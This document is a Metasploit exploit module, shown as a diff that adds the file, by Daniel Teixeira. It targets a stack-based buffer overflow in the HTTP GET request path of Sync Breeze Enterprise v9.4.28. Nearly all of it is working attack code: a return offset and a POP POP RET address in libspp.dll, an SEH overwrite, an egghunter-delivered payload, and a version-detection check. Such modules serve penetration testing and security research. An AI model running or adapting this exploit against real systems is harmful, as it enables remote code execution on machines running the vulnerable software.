Sync Breeze Enterprise GET Buffer Overflow

Author: DanielRTeixeira

modules/exploits/windows/http/syncbreeze_bof.rb

@@ -0,0 +1,104 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::Seh
+  include Msf::Exploit::Remote::Egghunter
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Sync Breeze Enterprise GET Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack-based buffer overflow vulnerability
+        in the web interface of Sync Breeze Enterprise v9.4.28, caused by
+        improper bounds checking of the request path in HTTP GET requests
+        sent to the built-in web server. This module has been tested
+        successfully on Windows 7 SP1 x86.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Daniel Teixeira'
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
+          'Space'      => 500
+        },
+      'Targets'        =>
+        [
+          [ 'Sync Breeze Enterprise v9.4.28',
+            {
+              'Offset' => 2488,
+              'Ret'    => 0x10015fde  # POP # POP # RET [libspp.dll]
+            }
+          ]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Mar 15 2017',
+      'DefaultTarget'  => 0))
+  end
+
+  def check
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => '/'
+    )
+
+    if res && res.code == 200
+      version = res.body[/Sync Breeze Enterprise v[^<]*/]
+      if version
+        vprint_status("Version detected: #{version}")
+        if version =~ /9\.4\.28/
+          return Exploit::CheckCode::Appears
+        end
+        return Exploit::CheckCode::Detected
+      end
+    else
+      vprint_error('Unable to determine due to a HTTP connection timeout')
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+
+    eggoptions = {
+      checksum: true,
+      eggtag: rand_text_alpha(4, payload_badchars)
+    }
+
+    hunter, egg = generate_egghunter(
+      payload.encoded,
+      payload_badchars,
+      eggoptions
+    )
+
+    sploit =  rand_text_alpha(target['Offset'])
+    sploit << generate_seh_record(target.ret)
+    sploit << hunter
+    sploit << make_nops(10)
+    sploit << egg
+    sploit << rand_text_alpha(5500)
+
+    print_status('Sending request...')
+
+    send_request_cgi(
+      'method' => 'GET',
+      'uri'    => sploit
+    )
+  end
+end